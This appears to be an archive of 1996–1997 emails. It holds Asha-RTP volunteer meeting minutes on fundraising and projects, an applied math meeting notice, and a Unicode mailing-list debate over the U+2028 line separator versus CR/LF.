outline of Asha as a group and its objectives to the new volunteers Ashwin, Dipa and Farzana. Everybody introduced themselves for the sake of the new volunteers. 2. Shidoree (1996 fundraiser) feedback It was unanimously decided that from the overall feedback obtained from the local community that this was a very successful show. A few volunteers pointed out some issues that would help us in improving future fundraisers. Meera said she had heard that the Nautanki in the program was too long. Supriya had heard from volunteers that Asha in addition to providing refreshment snacks for onstage performers during practise sessions should also take care of the volunteers helping cook and organize. It was generally agreed that Asha volunteers should not have spread themselves out thin participating/performing in the show as well organizing the event. Also in future we should start four months before the show date or have other people participate as performers, thereby relieving Asha volunteers to concentrate on organizing the show. Rajaram mentioned that some of us had taken up too many tasks and should have done a better job delegating responsiblities to others. 3. Update on funds raised thru Shidoree Sandeep & Supriya had coordinated the ticket sales for the show. In Sandeep's absence Supriya updated the group with the ticket sales. She said she had still not received money from Venu, Paula, Prashant and Prakash. Supriya said that the total collection thru ticket sales was ~$4500 and with another $1000 coming from Ads in the brochure, the total money raised was $5500. Easwar gave the expenses for food, brochures and other misc. as ~$1400, which gave a net sum of approx. $4100 raised thru the Shidoree program. Kudos to everybody. 4. Unfinished issues of fundraiser Settle any unpaid bills: Ravi handed out Claim Forms to all the people who had outstanding expenses from the program. And asked others to tell the people who had not attended the meeting to do the same. Collect IOUs: Dilip who could not come for the meeting has some IOUs that he has to collect from some of the local stores who had put their Ads. in the brochure. Easwar said he would pick them up if Dilip is unable to do so. Document the program: Mita volunteered to make a scrap book of the program with intent of documenting the show. She said she would send a mail asking for appropriate stuff for the scrap book. 5. Ongoing and future fundraising activities Snacks sales at ICMD shows: Niranjan has volunteered to lead this ongoing fundraising activity. Vijay who did a great job of it in the past wished to step down. Niranjan gave a check ($118) to Ravi for the money raised thru snacks sales at the last ICMDS program (Shivkumar Sharma Santoor concert). Ravi mentioned that ICMDS wanted to try out some other source for the task of selling snacks for their next concert and possibly alternate between Asha and other sources in the future. Some of the volunteers at the meeting were unhappy with this decision of ICMDS. Summer camp with Hindu Bhavan: Ravi mentioned that Hindu Bhavan wanted Asha to participate in their annual summer camp activity. Rajaram said he would take the lead and work out a program with them. Possible Qawwali program in Summer. Farzana said she would check into it. Easwar said he had reserved Stewart Theatre for Sep 7 in Fall. Anu said Asha could do a full-fledged play for that day. Fall movies at NCSU: Everybody agreed that we should continue showing hindi movies at NCSU for free in the Fall semester. In fact it was also suggested that we do the same at Duke and UNC as well. Ravi mentioned that we could get funds from NCSU student govt. for these kind of activities at NCSU. It was pointed out that Asha should check with Prof. Taj about movies since he was also showing them for free at these schools. Penny collection drive: Easwar said he would take the lead in starting the penny drive. Paula, Dipa and Ajay volunteered to help Easwar. Cosponsored programs with other local groups: Ravi brought up this important issue of having guidelines for doing cosponsored programs with other local organizations. It was decided to take this topic off-line to the fundraising sub-committee meeting. 6. Projects committe update. In Anuraag's absence Rajaram and Niranjan updated the group of what the Projects sub-committee was planning to do. It was reiterated that anybody who may have contacts to other organizations in India or in the US that could give Asha a list of projects that needed support, should give the list to Anuraag who would compile them for the Projects sub-committee. It is imperative that the committee come up with a few more projects to support in the next few months, in addition to the 2 (Nabankur United Club and Rishi Valley Education Center) that we are currently supporting. Visit to Nabankur United Club: Paula, who visited Khajurdaha Nabankur United during her India visit past winter, gave a first-hand account of her experience at the Club. She also gave a printed report of her experience to Ravi who will keep it as a record of the first visit of an Asha-RTP volunteer to NUC. Paula had already given a written report with financial records that the NGO had given to her, to Anuraag. After Paula finished narrating her experience, people asked her relevent questions with regard to the project. It was decided that in the next Projects committee meeting an in depth analysis of the reports sent by Nabankur United Club and Krishnamurti Foundation be made and a letter be sent thanking them for the report. The sub-committee should make sure the money being sent was being spent on appropriate items in compliance with Asha- RTPs objectives of basic education and health care. Checks to currently supported projects: Ravi gave 2 checks, addressed respectively to the 2 projects that Asha-RTP was supporting, to Ram to take with him to India. Ram said he would mail them registered mail with return receipt. He also wanted to know what else he could do for Asha while he was in India. Easwar suggested he get in touch with Asha-Bangalore. 7. Asha RTP Board - a formality Ravi pointed out that even though Asha-RTP does not function in the ""formal style"" that other organizations do, for the sake of NC State laws for non-profit organizations it was necessary that certain formalities of paperwork were fulfilled, i.e. we need to have a 7 member board which is completely represented. The board as it stands has the following 7 people on it - Dilip Bhatia, Ravi Devarajan, Govind Gawdi, Prakash Menon, Anuraag Singh, Kanak Singh, Easwar Srinivasan. A year back it was decided that the different volunteers coordinating the different focus groups would be entrusted with added responsibility of being board members. As per the minutes of that meeting (May 23, 1995) the different people coordinating the different focus groups are: Projects - Anuraag Singh Fundraising - Easwar Srinivasan, Kanak Singh Publicity - Dilip Bhatia, Prakash Menon (Newsletter) Administration - Govind Gawdi Treasurer - Ravi Devarajan Since Kanak has left we need a replacement for her. Anybody who would like to volunteer in her stead please do so. Also, Ravi would like somebody else to take up the responsiblity of being the treasurer since he has been one for the past 2.5 years. This issue needs to be resolved by the next general meeting. ************************************************************************ Next Fundraising meeting : week of May 20 * form guidelines for co-sponsorship - all present * progress of summer camp - Rajaram * progress on the qawwali show - Farzana * update on penny collection drive - Easwar * followup on the Shidoree scrap book - Mita Next Projects meeting : week of May 27 * Identify other likely projects to support - Anuraag * outline letters to the 2 projects - Anuraag & Guruvinder * Analyze reports sent by NUC & KFI - all present * dialogue on Asha's educational goals - all present Next Publicity meeting : week of June 3 * come up with strategies to publicize Asha in UNC, Duke and local companies - all present Next General meeting : week of June 10 ************************************************************************ The sub-committee coordinators should arrange for the respective meetings. If I have forgotten any other issues that need to be addressed in these meetings and also missed something in the minutes, please let me know. Ravi",0,0 rxk@fns.com,niranjan@raleigh.ibm.com,"Wed, 07 May 1997 16:31:20 -0400",Nov 6th 1996 minutes,">From owner-asha-tamasha@ds1.che.ncsu.edu Fri Nov 8 19:06 EST 1996 Return-Path: Received: from fns.com by colossus.fns.com (SMI-8.6/SMI-SVR4) id TAA17445; Fri, 8 Nov 1996 19:06:03 -0500 Received: from ecoult (ecoult.ncsu.edu) by fns.com (5.0/SMI-SVR4) id AA10704; Fri, 8 Nov 1996 19:11:59 +0500 Received: by ecoult (5.57/ECO NCSU/11/11/90) id AA08229; Fri, 8 Nov 96 16:21:29 -0500 Received: by che.ncsu.edu; (5.65/1.1.8.2/07Jun94-8.2MPM) id AA19469; Fri, 8 Nov 1996 11:25:22 -0500 From: Ram Peddibhotla - BSG Corporation Date: Fri, 8 Nov 1996 11:27:15 -0500 Message-Id: <9611081627.AA12175@surya.imonics.com> To: asha-tamasha@ds1.che.ncsu.edu Subject: General meeting minutes Cc: rammohan.peddibhotla@imonics.com Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Md5: EN9azyqR6PvP3dhiELskkQ== Sender: owner-asha-tamasha@ds1.che.ncsu.edu Precedence: bulk Content-Type: text/plain; charset=us-ascii Content-Length: 2523 Status: RO Hi all: Here's what happened at the general meeting on wed Nov6. To start off Anuraag went over the proposed allocation of money to the different projects. The next topic was getting our web page updated. Niranjan volunteered to get this done. Next was brochure. There was discussion about whether we need one and if we do what kind of a brochure would it be. The general feeling was we need a brochure that is cheap enough so we can hand it people at ICMD cocerts, movies that we organize etc. This will also be something we can give to people who want to know what asha is. Anu will research more on how/when/what of this. Ram and Prakash will help Anu. POBox: We need to get a permanent address that we can advertise. Rajaram volunteered to setting up a po box. Recruitment and Community presence: There were some ideas thrown around as to how we can get new volunteers. 1. Organize a mixer. 2. Arrange pickups from airport for new students. 3. Make a 'students survival guide in the triangle' or some such thing which is useful to the students and which mentions asha and gives some contact numbers. This insert can be added to the ISO mailer to new students. 4. Apart from the students we need to make an effort to interest the professionals who work in this area. 5. We need to get Asha-RTP registered with UNC and Duke and general meetings could be rotated among the three schools. Its also better to hold regular meetings at public places rather that peoples houses. 6. Get free ads (about meetings, events) in News & Observer, Spectator, Independent etc. 7. Put posters in public places - like wellspring, restaurants etc. 8. Organize a walk for literacy? 9. Continue our free movies program. 10.Organize a general picnic. Easwar will look into new student interaction. Ram will look into putting up asha literature at restaurants, getting local businesses to contribute on a regular basis etc. Rajaram will work at finding a public place to meet and publicizing meeting times. Calendars: The new calendars look very good. We need to get a brochure/donation slip done and include that with the calendars. We'll have a meeting some time soon to distribute the calendars. Asha name and Goals: What should Asha-RTP's response to the discussion about asha name and goals? We talked about this a lot, but there was no resolution as to what we as Asha-RTP should put forth. Finis. End of meeting. Folks who were there - please add to this if I missed something Ram. >From owner-asha-tamasha@ds1.che.ncsu.edu Mon Nov 11 13:26 EST 1996 Return-Path: Received: from fns.com by colossus.fns.com (SMI-8.6/SMI-SVR4) id NAA21723; Mon, 11 Nov 1996 13:26:17 -0500 Received: from ecoult (ecoult.ncsu.edu) by fns.com (5.0/SMI-SVR4) id AA26804; Mon, 11 Nov 1996 13:34:45 +0500 Received: by ecoult (5.57/ECO NCSU/11/11/90) id AA09881; Mon, 11 Nov 96 11:32:38 -0500 Received: by che.ncsu.edu; (5.65/1.1.8.2/07Jun94-8.2MPM) id AA25887; Mon, 11 Nov 1996 11:30:16 -0500 Date: Mon, 11 Nov 1996 11:31:36 -0500 From: rxk@fns.com (Rajaraman Krishnan) Message-Id: <199611111631.LAA02357@dev14.fns.com> To: asha-tamasha@ds1.che.ncsu.edu, esriniv@eos.ncsu.edu Subject: Re: Asha needs you - appeal Sender: owner-asha-tamasha@ds1.che.ncsu.edu Precedence: bulk Content-Type: text Content-Length: 3580 Status: RO X-Lines: 78 Easwar, I think this is a great idea. My only comment is that this should probably be combined with our plan for organizing a regular meeting. In your Email once again, you have given phone numbers for interested people to call. I think putting a regular meeting time/place would be very effective. If we can work out a room in NCSU, this may not take that long to come up with. I will talk to about this later. Anyway go ahead and post this now. We can update this with the meeting time/place and post this once again later. Ram, Thanks for the detailed meeting minutes. Let me add some more context information to the meeting minutes. Asha has been having very good community support whenever there is some big fund- raiser. But for day to day operations and planning we havent been able to get committed members. Having 100 voluteers during fund-raisers would not be of any use if there are not those core group of volunteers who decide to have a fund-raiser and decide on what are all the things that are required to be done for a fund-raiser. So our thrust needs to be to get this core group of volunteers. Many of the initiatives we came up with during our recent meeting was towards this question, i.e., how do we get more people to regularly come for Asha meetings and participate in its planning and day-to-day operations? We came up with the following initiatives, 1. Come up with a good brochure for Asha which can be distributed at community functions/events. 2. Bring our Web page upto date. Make sure this is refered to by other Web pages like those for Sangam, Ektaa and DIA. 3. Arrange for regular meetings at a regular place. For instance it may be something like Asha meetings every month first Thursday at --- building in NCSU. I noticed that just doing this will improve our attendance. a. This meeting will not be in a persons home. So people who do not know anyone in Asha will not feel uncomfortable about attending. b. This will be in a regular place and time. So someone who has not been attending Asha meetings regularly would not have any problem knowing when / where the next meeting will be. c. If someone asks you when/where they should come to the next Asha meeting, you will be able to give a proper answer. d. We can put this meeting information also in our posters. So that people know where to come to to meet will get os Asha members. 4. A poster/Email/news posting campaign leading up to our first meeting to get as many people as possible to attend this meeting. We can also announce these meetings in N&O, Spectator etc. 5. Try and attract new Indian students. For this do the following, a. Send Asha flyer with the International student organisation mail to new Indian student. b. Offer Airport pickup / initial accomodation / other help to new students. c. Arrange a Welcome party for the new comers. 6. Organize other events to attract members of the community like mixers, free movies, general picnic etc. 7. Participate in the Walk for Literacy of all the Asha chapters decide to go with that. I believe that if we start doing these right now, we can be a stronger and more effective group by the 1997 Fall. We should try to start our regular meetings January. We should really push to get the new students for 1997 Fall involved with Asha. These initiatives are certainly going to involve a lot of effort. We would need all the help from the current Asha volunteers. Thanks to Easwar, we now have a P.O.Box. Our address is, Asha-RTP P.O. Box 5464 Raleigh, NC 27650-5464 Rajaram",0,0 Cecilia Fosser ,applied@math.arizona.edu,"Thu, 08 May 1997 00:14:13 -0700",First Annual Applied Math Meeting,"You asked for it, you got it: ****************************************************************** First Annual Applied Math Meeting with Dr. Tabor Monday, May 13th, at noon in room 402 Agenda: Informal meeting to discuss anything pertaining to the program. Your attendance is highly encouraged. Please come, even if you do not have any questions! Your opinions and ideas may be very valuable to the continued improvement of the applied program. ****************************************************************** BAGELS!!!! COFFEE!!!! TEA!!!! BAGELS!!! ",0,0 Unicode Discussion ,Multiple Recipients of ,"Mon, 12 May 1997 20:12:48 -0700",Line Separator Character,"What is the deal with unicode line separator? Why would I want to use it, as opposed to using, say, LF or CRLF? Microsoft's CF_UNICODETEXT clipboard format apparently requires CRLF, and their notepad application displays black blob characters when you feed it the Unicode line separator. I've heard reports that Java similarly misdisplays this character, prefering LF only. What was the idea behind Unicode line separator. Is there any advantage to using it? It seems to be different just to be different. If I chose to use LF or CRLF, at least I'd be compatible with many things. This way I'm compatible with just about nothing. Can anyone provide any further information or insights? 13-May-97 22:32:30-GMT,2225;000000000001 Received: (from fdc@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id SAA06966; Tue, 13 May 1997 18:32:26 -0400 (EDT) Date: Tue, 13 May 97 18:32:25 EDT From: Frank da Cruz To: ""Mark H. David"" Cc: Multiple Recipients of Subject: Re: Line Separator Character In-Reply-To: Your message of Mon, 12 May 1997 20:12:48 -0700 (PDT) Message-ID: > What is the deal with unicode line separator? Why would I want to use it, > as opposed to using, say, LF or CRLF? Microsoft's CF_UNICODETEXT clipboard > format apparently requires CRLF, and their notepad application displays > black blob characters when you feed it the Unicode line separator. I've > heard reports that Java similarly misdisplays this character, prefering LF > only. What was the idea behind Unicode line separator. Is there any > advantage to using it? It seems to be different just to be different. If I > chose to use LF or CRLF, at least I'd be compatible with many things. This > way I'm compatible with just about nothing. Can anyone provide any further > information or insights? > I suppose that as the one who proposed the Unicode line separator, I should speak to this one. The following are statements from, or paraphrased from, the Unicode standard: . Unicode encodes plain text; . Plain text should contain enough information to permit the text to be rendered legibly and nothing more; . The appearance of the text depends on an upper level protocol and not on ASCII or ISO control characters, which are retained only for compatibility. . Unicode does not prescribe specific semantics for U+000D (CR) and U+000A (LF); it is left the application to interpret these codes. In other words, without Line Separator U+2028, there would be no canonical way to represent line breaks, as in (e.g.) poetry, in Unicode plain text. Why? Because the semantics of CR, LF, CRLF, and other control characters vary from platform to platform (e.g. Macintosh, UNIX, DOS). Furthermore, the conventions for separating paragraphs are also platform and application-specific. Thus the Paragraph Separator, U+2029. - Frank 14-May-97 5:29:38-GMT,1893;000000000011 Received: from unicode.unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id BAA09866 for ; Wed, 14 May 1997 01:29:37 -0400 (EDT) Received: by unicode.unicode.org (NX5.67g/NX3.0M) id AA01180; Tue, 13 May 97 21:35:01 -0700 Message-Id: <9705140435.AA01180@unicode.unicode.org> Errors-To: uni-bounce@unicode.unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-Uml-Sequence: 2598 (1997-05-14 04:34:36 GMT) To: Multiple Recipients of Reply-To: Adrian Havill From: ""Unicode Discussion"" Date: Tue, 13 May 1997 21:34:34 -0700 (PDT) Subject: Re: Line Separator Character Unicode Discussion wrote: > In other words, without Line Separator U+2028, there would be no canonical > way to represent line breaks, as in (e.g.) poetry, in Unicode plain text. > Why? Because the semantics of CR, LF, CRLF, and other control characters > vary from platform to platform (e.g. Macintosh, UNIX, DOS). > > Furthermore, the conventions for separating paragraphs are also platform > and application-specific. Thus the Paragraph Separator, U+2029. Does this mean that new applications should refrain from using LF and CR and use the two new control characters instead? How many Unicode applications currently understand the Unicode line and paragraph separators? As for future Unicode apps what about Unicode supporting e-mail apps? Will the upcoming Netscape Communicator (most popular commercial Unicode capable e-mail client I can think of) send e-mail (and understand) with the new markers (providing they're Unicode encoded, of course). (targeted towards the Netscape/Unicode group) -- Adrian Havill Engineering Division, System Planning & Production Section 14-May-97 6:31:04-GMT,2078;000000000001 Received: from malmo.trab.se (malmo.trab.se [131.115.48.10]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id CAA22840 for ; Wed, 14 May 1997 02:31:02 -0400 (EDT) Received: from valinor.malmo.trab.se (valinor.malmo.trab.se [131.115.48.20]) by malmo.trab.se (8.7.5/TRAB-primary-2) with ESMTP id IAA24548; Wed, 14 May 1997 08:31:00 +0200 (MET DST) Received: by valinor.malmo.trab.se (8.7.5/TRM-1-KLIENT); Wed, 14 May 1997 08:30:59 +0200 (MET DST) (MET) Date: Wed, 14 May 1997 08:30:59 +0200 (MET DST) From: Dan Oscarsson Message-Id: <199705140630.IAA20207@valinor.malmo.trab.se> To: unicode@unicode.unicode.org, fdc@watsun.cc.columbia.edu Subject: Re: Line Separator Character Mime-Version: 1.0 Content-MD5: JuyMhI2YbpSiZuTwTb2uNw== Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit > I suppose that as the one who proposed the Unicode line separator, I should > speak to this one. The following are statements from, or paraphrased from, > the Unicode standard: > > . Unicode encodes plain text; > . Plain text should contain enough information to permit the text to be > rendered legibly and nothing more; > . The appearance of the text depends on an upper level protocol and not > on ASCII or ISO control characters, which are retained only for > compatibility. > . Unicode does not prescribe specific semantics for U+000D (CR) and > U+000A (LF); it is left the application to interpret these codes. > > In other words, without Line Separator U+2028, there would be no canonical > way to represent line breaks, as in (e.g.) poetry, in Unicode plain text. > Why? Because the semantics of CR, LF, CRLF, and other control characters > vary from platform to platform (e.g. Macintosh, UNIX, DOS). Why should we use a new Unicode special character for line separator when there is a line separator control character: NL (Next Line) defined in the 0200-0237 range. It would be better to to use that instead of CR/LF and U+2028. It can also be used in 8-bit byte text. Dan 14-May-97 11:30:04-GMT,3255;000000000001 Received: from unicode.unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id HAA17906 for ; Wed, 14 May 1997 07:30:01 -0400 (EDT) Received: by unicode.unicode.org (NX5.67g/NX3.0M) id AA02063; Wed, 14 May 97 03:43:11 -0700 Message-Id: <9705141043.AA02063@unicode.unicode.org> Errors-To: uni-bounce@unicode.unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-Uml-Sequence: 2600 (1997-05-14 10:41:14 GMT) To: Multiple Recipients of Reply-To: Adrian Havill From: ""Unicode Discussion"" Date: Wed, 14 May 1997 03:41:12 -0700 (PDT) Subject: Re: Line Separator Character Martin J. Duerst wrote: > Email has very strict restrictions on this. You can't send doublebyte > UTF-16 or UCS-2 in Email. CRLF always has to be present as a line > separator. Unicode in Email is possible with UTF-7 (and CRLF as line > separator) or UTF-8 + BASE64/QuotedPrintable (and CRLF...). > Please see RFC 2045/6/7 for this. I'm aware of this. Allow me to clarify: encode the Unicode line and paragraph separators in UTF-7 and transmit no CR and LFs. Some protocols, such as SMTP, have a line limit (998 octets in the case of SMTP). However, as the behavior of CR and LF is system dependent, an e-mail client could theoretically ignore CR LF, etc and go by the UTF-7 encoded Unicode line and paragraph breaks, when RFC2046 says '[i]t should not be necessary to add any line breaks to display ""text/plain"" correctly....' So why not NOT use them and go with the Unicode ones? I admit, I am not clear as to whether this phrase was referring specifically to the ASCII CR and LF control characters, or was referring to all types of line breaks in general. Is ""plain text"" Unicode with Unicode line breaks considered to be ""text/plain"" or ""text/enriched"" (which requires line breaks)? As there are few legacy Unicode-capable e-mail clients, is it not possible to push to get this functionality added now? Many e-mail clients today have an option which enables them to wrap/not-wrap long lines. Why not add a similar feature for Unicode capable clients, which allows a selection (under the ""Unicode section"" between ""interpret CR and LF codes only"", ""interpret Unicode line and paragraph breaks only"", ""interpret both Unicode line and paragraph breaks AND CR and LF codes."" (I'd also like a feature in future e-mail clients that says ""display Unrenderable Unicode as..."") Or am I overlooking something painfully obvious and being obtuse? If so, my apologies for wasting everybody's time. ;-) I can see how adding this kind of functionality might confuse the average end-user. But the current end-user which now has to deal with such cryptic functions such as ""encode using MIME quoted-printable"" or ""8-bit"", so I don't see how this functionality could make e-mail clients any more complicated, especially if the defaults are set for them for Unicode. Yet another reason why books like ""The Complete Moron's Guide to E-Mail"" continue to sell, I guess. (^_^) -- Adrian Havill Engineering Division, System Planning & Production Section 14-May-97 12:33:46-GMT,2283;000000000001 Received: from unicode.unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id IAA27390 for ; Wed, 14 May 1997 08:33:45 -0400 (EDT) Received: by unicode.unicode.org (NX5.67g/NX3.0M) id AA02381; Wed, 14 May 97 05:05:37 -0700 Message-Id: <9705141205.AA02381@unicode.unicode.org> Errors-To: uni-bounce@unicode.unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 2601 (1997-05-14 12:03:56 GMT) To: Multiple Recipients of Reply-To: Dan Oscarsson From: ""Unicode Discussion"" Date: Wed, 14 May 1997 05:03:54 -0700 (PDT) Subject: Re: Line Separator Character > On Tue, 13 May 1997, Dan Oscarson wrote: > > > Why should we use a new Unicode special character for line separator > > when there is a line separator control character: NL (Next Line) defined > > in the 0200-0237 range. It would be better to to use that instead of CR/LF and > > U+2028. It can also be used in 8-bit byte text. > > First: Please don't use octal numbers in an environment where everybody > is firmly used to hexadecimal. I had quite some problems figuring out > what you ment with the 0200-0237 range :-). Well, general use i octal if leading zero, hex if leading 0x, U+ is not hex, also octal is nicer. > > Second: Neither ISO 10646 nor Unicode define the CR control characters. > While for CL, virtually everybody uses the same assignement, and the > codepoints are even named in UNicode (but not in ISO 10646), there > are no stable conventions for CR. Many systems and encodings (Mac, > Windows, UTF-8) use the CR area for graphic characters. Yes, but neither the lower nor the upper range of control chaarcters is defined in ISO 10646, but both places are reserved for them, and there is a standard for both the upper and lower range. If we are going to extend the use of control characters it is better to use the control codes in the 8-bit range, especially if it is something as important as line separator. Then it can be used in many 8-bit character sets too. If is unfortunate that Mac, MS Win and UTF-8 have decided to use the upper control space for other things. Dan 14-May-97 17:26:33-GMT,4002;000000000001 Received: from unicode.unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id NAA24800 for ; Wed, 14 May 1997 13:26:29 -0400 (EDT) Received: by unicode.unicode.org (NX5.67g/NX3.0M) id AA03772; Wed, 14 May 97 10:18:12 -0700 Message-Id: <9705141718.AA03772@unicode.unicode.org> Errors-To: uni-bounce@unicode.unicode.org X-Uml-Sequence: 2603 (1997-05-14 17:17:01 GMT) To: Multiple Recipients of Reply-To: kenw@sybase.com (Kenneth Whistler) From: ""Unicode Discussion"" Date: Wed, 14 May 1997 10:16:59 -0700 (PDT) Subject: Re: Line Separator Character > > > On Tue, 13 May 1997, Dan Oscarson wrote: > > > > > Why should we use a new Unicode special character for line separator > > > when there is a line separator control character: NL (Next Line) defined > > > in the 0200-0237 range. It would be better to to use that instead of CR/LF and > > > U+2028. It can also be used in 8-bit byte text. > > > > First: Please don't use octal numbers in an environment where everybody > > is firmly used to hexadecimal. I had quite some problems figuring out > > what you ment with the 0200-0237 range :-). > Well, general use i octal if leading zero, hex if leading 0x, U+ is not hex, also > octal is nicer. U+ most assuredly is hex. Not only de facto, but now de jure. I cite from DAM No. 9 to ISO/IEC 10646-1:1: ""The full syntax of the notation of a short identifier, in Backus-Naur form, is: {U|u}[{+}xxxx|{-}xxxxxxxx] where ""x"" represents one hexadecimal digit (0 to 9, A to F, or a to f),..."" And I concur with the respondent. Some may agree with you that ""octal is nicer"", but on this list, octal will generally only confuse instead of communicating. By the way, octal 0200-0237, for those of you following this issue, corresponds to U+0080 - U+009F, also known in ISO documents as the C1 range, and referred to below as the ""CR area"". So what Dan is suggesting is making use of C1 controls for linebreak control, instead of U+2028 LINE SEPARATOR. > > > > > Second: Neither ISO 10646 nor Unicode define the CR control characters. > > While for CL, virtually everybody uses the same assignement, and the > > codepoints are even named in UNicode (but not in ISO 10646), there > > are no stable conventions for CR. Many systems and encodings (Mac, > > Windows, UTF-8) use the CR area for graphic characters. > Yes, but neither the lower nor the upper range of control chaarcters is defined > in ISO 10646, but both places are reserved for them, and there is a standard for > both the upper and lower range. If we are going to extend the use of > control characters it is better to use the control codes in the 8-bit range, especially > if it is something as important as line separator. Then it can be used in > many 8-bit character sets too. If is unfortunate that Mac, MS Win and UTF-8 have > decided to use the upper control space for other things. Use of C1 controls for 8-bit character sets is a logically separate issue from use of U+2028 LINE SEPARATOR (and U+2029 PARAGRAPH SEPARATOR) in Unicode. You may consider it unfortunate, but it is reality that in a world dominated by IBM, Microsoft, Apple, and even Hewlett-Packard 8-bit character encodings, most 8-bit data makes use of the 0x80..0x9F range for graphic characters. Implementations of the ISO 8859 series are the most notable exceptions. And if you want to talk unfortunate, we wouldn't be having nearly so many problems with the ISO 8-bit character sets if they had been built in the first place with graphic characters in 0x80..0x9F (an extra 32) instead of following an ill-conceived ISO 6937 attempt to extend control functions through character encodings in that space. For example, 8859-1 would have the French characters that are currently missing in it, and 8859-2 would not have had to make the ill-starred compromise between Romanian and Turkish letters! --Ken Whistler > > Dan > 15-May-97 0:10:05-GMT,3379;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id UAA04177 for ; Wed, 14 May 1997 20:10:04 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA04271; Wed, 14 May 97 16:01:54 -0700 Message-Id: <9705142301.AA04271@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 2610 (1997-05-14 23:01:30 GMT) To: Multiple Recipients of Reply-To: Mark Davis From: ""Unicode Discussion"" Date: Wed, 14 May 1997 16:01:28 -0700 (PDT) Subject: Re: Line Separator Character The discription of LINE SEPARATOR and PARAGRAPH SEPARATOR should be clear from the discussions on page 6-72 in The Unicode Standard, Version 2.0. Anyone using The Unicode Standard, Version 1.0 should ""upgrade"" to Version 2.0. The full current state of the standard is established by that document, supplemented by the Errata information on the Unicode web site (http://unicode.org). (By the way, there is also a listing of the table of contents on the web site.) Mark Unicode Discussion wrote: > > On 13 May 97 at 19:49, Frank da Cruz wrote: > > > . Unicode does not prescribe specific semantics for U+000D (CR) and > > U+000A (LF); it is left the application to interpret these codes. > > > > In other words, without Line Separator U+2028, there would be no canonical > > way to represent line breaks, as in (e.g.) poetry, in Unicode plain text. > > Why? Because the semantics of CR, LF, CRLF, and other control characters > > vary from platform to platform (e.g. Macintosh, UNIX, DOS). > > This sounded good until I looked up U2028 and found the name LINE > SEPARATOR and the comment ""may be used to represent this semantic > unambiguously"", but no explanation of what the semantic is! (I am > quoting from the 1.0 document, so I apologize in advance if this is > covered in 2.0, which I don't have here.) > > Several interpretations of the idea of LINE SEPARATOR are possible, > the obvious issue being whether a carriage return is implied. The > various EBCDIC character sets use the NEWLINE (NL, X'15') character > to mean ""move to the leftmost position of the next line""; most ASCII- > like systems infer one of the motions from the other, or require that > both be specified (CR,LF). I think this all comes from the different > mechanical backgrounds: the EBCDIC concept from the IBM 2741 > terminal, which was incapable of executing a carriage return without > also doing a line feed, but which could line feed and backspace > independent of carriage return, and the various teletypewriter-like > devices which generally had no backspace, but could execute > independent carriage return and line feed. > > So what *is* the semantic represented by U2028 ? Is it perhaps a > higher level semantic than the low level detail of whether to return > to the originating margin ? If so, then presumably the notion of > line feed is also at a lower level, and U2028 might be implemented by > e.g. inserting bullets between the lines of poetry without actually > spacing down the page. Somehow this seems like the wrong level of > stuff to be encoding in a character set standard, though. > > Tony Harminc > tzha0@juts.ccc.amdahl.com 15-May-97 0:31:38-GMT,4425;000000000001 Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id UAA11230 for ; Wed, 14 May 1997 20:31:37 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA04536; Wed, 14 May 97 16:09:45 -0700 Message-Id: <9705142309.AA04536@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2611 (1997-05-14 23:09:27 GMT) To: Multiple Recipients of Reply-To: kenw@sybase.com (Kenneth Whistler) From: ""Unicode Discussion"" Date: Wed, 14 May 1997 16:09:26 -0700 (PDT) Subject: Re: Line Separator Character > > On 13 May 97 at 19:49, Frank da Cruz wrote: > > > . Unicode does not prescribe specific semantics for U+000D (CR) and > > U+000A (LF); it is left the application to interpret these codes. > > > > In other words, without Line Separator U+2028, there would be no canonical > > way to represent line breaks, as in (e.g.) poetry, in Unicode plain text. > > Why? Because the semantics of CR, LF, CRLF, and other control characters > > vary from platform to platform (e.g. Macintosh, UNIX, DOS). > > This sounded good until I looked up U2028 and found the name LINE > SEPARATOR and the comment ""may be used to represent this semantic > unambiguously"", but no explanation of what the semantic is! (I am > quoting from the 1.0 document, so I apologize in advance if this is > covered in 2.0, which I don't have here.) >From the Unicode Standard, Version 2.0, p 6-72: ""[discussion of paragraph separator...] A line separator indicates that a line-break should occur at this point; although the text continues on the next line, it does not start a new paragraph: no interparagraph line spacing nor paragraphic indentation is applied. Since these are separator codes, it is not necessary to start the first line or paragraph, nor end the last line or paragraph with them."" In other words, a U+2028 LINE SEPARATOR is to Unicode plain text formatting approximately as "";"" is to Pascal statement syntax. > > Several interpretations of the idea of LINE SEPARATOR are possible, > the obvious issue being whether a carriage return is implied. The > various EBCDIC character sets use the NEWLINE (NL, X'15') character > to mean ""move to the leftmost position of the next line""; most ASCII- > like systems infer one of the motions from the other, or require that > both be specified (CR,LF). I think this all comes from the different > mechanical backgrounds: the EBCDIC concept from the IBM 2741 > terminal, which was incapable of executing a carriage return without > also doing a line feed, but which could line feed and backspace > independent of carriage return, and the various teletypewriter-like > devices which generally had no backspace, but could execute > independent carriage return and line feed. No mechanical background is intended or implied. This is one reason to depart from the CR/LF/NL control code legacy. The Unicode LINE SEPARATOR implies a GUI model of text layout and formatting (although it is possible to implement on a terminal or 